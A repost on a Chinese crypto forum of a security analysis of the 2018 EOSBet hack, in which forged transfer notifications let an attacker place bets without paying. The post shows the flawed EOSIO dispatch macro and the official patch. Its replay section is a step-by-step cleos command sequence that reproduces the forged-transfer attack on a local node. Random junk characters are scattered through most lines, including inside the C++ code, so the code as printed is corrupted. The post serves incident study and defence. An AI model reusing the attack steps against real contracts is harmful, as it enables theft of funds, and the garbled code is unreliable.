Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
* f- S9 @  H! e, \8 T: c1 H. s文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
6 ]. S' b0 b! j0 h1 D) b& x0x00 背景
# ~$ C7 L+ }. e! E6 T8 IEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
; _( I# }* c3 R7 p0 V- ^. z  m
, Q1 M, e/ k  z/ e' o0x01 技术分析
% H7 T! S, A6 a$ N由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI% h+ T; U5 i, P" I8 C; _
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
4 j, t7 n! U( \3 _8 G! P#define EOSIO_ABI_EX( TYPE, MEMBERS ) \: N8 e+ U+ a# m* f2 }& h5 ?" l
extern "C" { \
' H4 U1 l; g: M- x        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \, u) Q. V. S1 d, ]
                auto self = receiver; \
* E+ v" o* p4 e7 o3 U                if( action == N(onerror)) { \7 X0 @( j- R: v# [
                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
0 r+ [/ r5 K$ ], \+ t                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
$ X! q8 f. D3 S# H& N, x' ?                } \2 S: S1 M  }2 A/ `8 u" O6 d
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
9 J3 Z8 M) @6 A+ ~+ ]" q* ]                        TYPE thiscontract( self ); \: Q. t& r. B; s9 ^5 {8 }
                        switch( action ) { \) k2 f2 k7 x9 i2 Q( f) r
                                EOSIO_API( TYPE, MEMBERS ) \. r: l# T# S  s2 [0 g& N* E
                        } \5 k- t: U. t) e% O
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \" ?5 t* o4 v) {$ b1 c# u
                } \1 o4 O/ y' `6 L$ b/ m. P
        } \& v( t: z& S: ^/ n: p
}8 h& [: Y" ^5 c5 b- F
通过官方给出的EOSIO_ABI,问题主要出在以下代码
- a* {% E5 U( e! Dif( code == self || code == N(eosio.token) || action == N(onerror) ) { \
+ ~  K1 y. F: h+ L( A                        TYPE thiscontract( self ); \
% K+ g2 R( b; o' o. w# l- E. P                        switch( action ) { \
& S! e$ i  H* h' l) j9 J                                EOSIO_API( TYPE, MEMBERS ) \* ~0 f' ^6 P5 ?) v3 x1 l" ~5 l. U7 C
                        } \
% a, v; A9 k% }4 B1 m3 ^5 m% K1 C; j                }
4 f, U3 C& N% Z+ Z& j. R# m该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。( h1 u& k6 x7 m% [, C2 W& _( G
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。
7 w- o7 v: o1 r! w5 l黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。' b4 b7 Z5 o- y1 U
0x02 攻击复盘+ D4 w: r5 s. d8 V1 u0 q4 z
创建eosio.token账户
2 P. k2 M8 g: Fcleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV: Y% q, E5 K6 o. G) u3 b
部署eosio.token合约并初始化! B! S2 o9 E' a! G, i4 p; y6 X$ w
# 部署合约
( b. m3 m, L3 z* e$ p7 e* Q" g5 Ycleos set contract eosio.token /home/user/contracts/eosio.token -p eosio' y: g$ l' Z4 c0 M' a/ b5 _
# 初始化合约
' k( @  \. m7 [: }$ \% G9 icleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
3 G2 _) V- |0 a* m4 s创建游戏账户、开奖账户和攻击者账户1 q6 P3 |9 X; I3 D; D
#创建游戏账户和开奖账户# S: D4 K9 i% r! B$ j: a
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk- l5 [( b$ Q4 r2 n, }
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk2 }0 S* A& V) \5 e6 t) ~# v) y
#创建攻击者账户
5 e* ^! B8 n) h. d4 q& wcleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk( K) m9 o, R& g0 B( y  E
设置账户随机权限和开奖权限
1 E. A' b; N' v" s, m+ `#设置权限, D6 _8 [7 _# U' i; F
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
  J# B2 R$ T' ]' O: ecleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner; Z7 b! K7 X  ?7 u$ l! I2 S
#设置开奖权限
0 b8 ?6 \  `8 |cleos set action permission eosbetcasino eosbetdice11 resolvebet random
. V; B# l& J* D3 w: N向相关账户冲入代币
  u; t$ G- i+ [' v/ t# M& @#往相关账户充值% W8 ~5 f* `, k) y4 O4 H. {
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active1 ]$ h* N1 L( N8 g: r# O, `
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
; ^: c% i& o5 C![4.png]()( r) X1 L3 o2 m7 y. ]2 V, h: h
部署游戏合约并初始化4 @2 X4 ?1 u2 _' o8 _) N! E7 n
#部署游戏合约
% m8 T* Y% d% i4 I2 p/ J, L- ncleos set contract eosbetdice11 /home/user/contracts/eosbetdice
  F- p/ Z( l7 d3 v, I! f#初始化游戏合约7 d+ ]( {, E1 D& X; _
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
) z7 B0 l; V5 e模拟黑客攻击(伪造转账通知)0 \4 w! K& K1 P' Y( \+ i
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
. W' S' Y5 j0 z) F查询游戏订单
$ I6 ]- O3 U7 p+ Ecleos get table eosbetdice11 eosbetdice11 activebets, ^' z% h# E7 d* m- f$ C

: E$ @9 |5 I* V1 K可见,游戏订单已经生成,查询attacker和eosbetdice11账户
6 b3 b' A* i1 |3 j% W/ O3 _: {& T; O7 D6 @! c
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
: l5 R8 F6 L8 }& N9 ^9 a: F' `最后对该订单进行开奖。( e5 B. H' G( a
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
2 D& \" z6 y7 Y$ |) ^8 H
6 ]/ B6 \* ?) k' [' v' g/ [总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。# Z$ j9 j2 h1 d, r' b. r9 s
0x03 后记
5 o0 g( i1 k/ C/ h: w! REOSBet随后将修复方案公开/ t4 V3 q) d  F: Z% R# {
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers) B+ ]6 t3 |8 l* h
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
# L+ V+ l, _! x' p$ Dextern "C" { \; z: a5 G# y, ~7 V; Y2 |- M& H
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
# x  X. y1 o. H, a                auto self = receiver; \6 l5 u! Y# R6 @% Y
                if( code == self || code == N(eosio.token)) { \
6 {, z  g' Y# g2 h& U0 w- M& c' ?/ u                        if( action == N(transfer)){ \
" ]' f( o8 z! U0 a                                // 必须是eosio.token来调用合约自身的transfer函数; i& M, L5 _8 E5 X; O0 _. X
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
2 A& L& o: R6 F. I9 X                        } \) ~4 ?. T  I9 n( z$ T9 x# l9 o, ]! {6 v
                        TYPE thiscontract( self ); \
5 |1 W5 O2 N6 s  y- N* @                        switch( action ) { \2 X; Z  |) m2 y: t
                                EOSIO_API( TYPE, MEMBERS ) \2 W  V1 I( I, M  q' s8 _7 E$ `
                        } \$ Z2 W5 o4 l8 I: l* |8 S
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \  H" W9 }! f* e! S4 x5 I
                } \
1 P! c* E9 U  R  n        } \
& T8 X5 c5 S) X* [% d}6 {8 l4 J4 c2 m
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D0 r* A) T. r/ e$ q7 p
0x04 修复方案
- h8 j! _, V- N" ]. S零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
; o& l4 v0 U/ _0 m0 ?! ]
( ^1 U3 B; P4 ~/ ?8 c2 V1 s8 p通知是否来自eosio.token,即只处理eosio.token发送的通知
4 g( z3 v# J* g- Jeosio_assert(code == N(eosio.token), "Must transfer from eosio.token");% n0 L' O6 V* u! x: I0 P9 r  _  R) f4 H

% L) h2 A: m! ?* i# X转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知; u+ x3 {! |! H! b6 Y/ w% b/ W
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10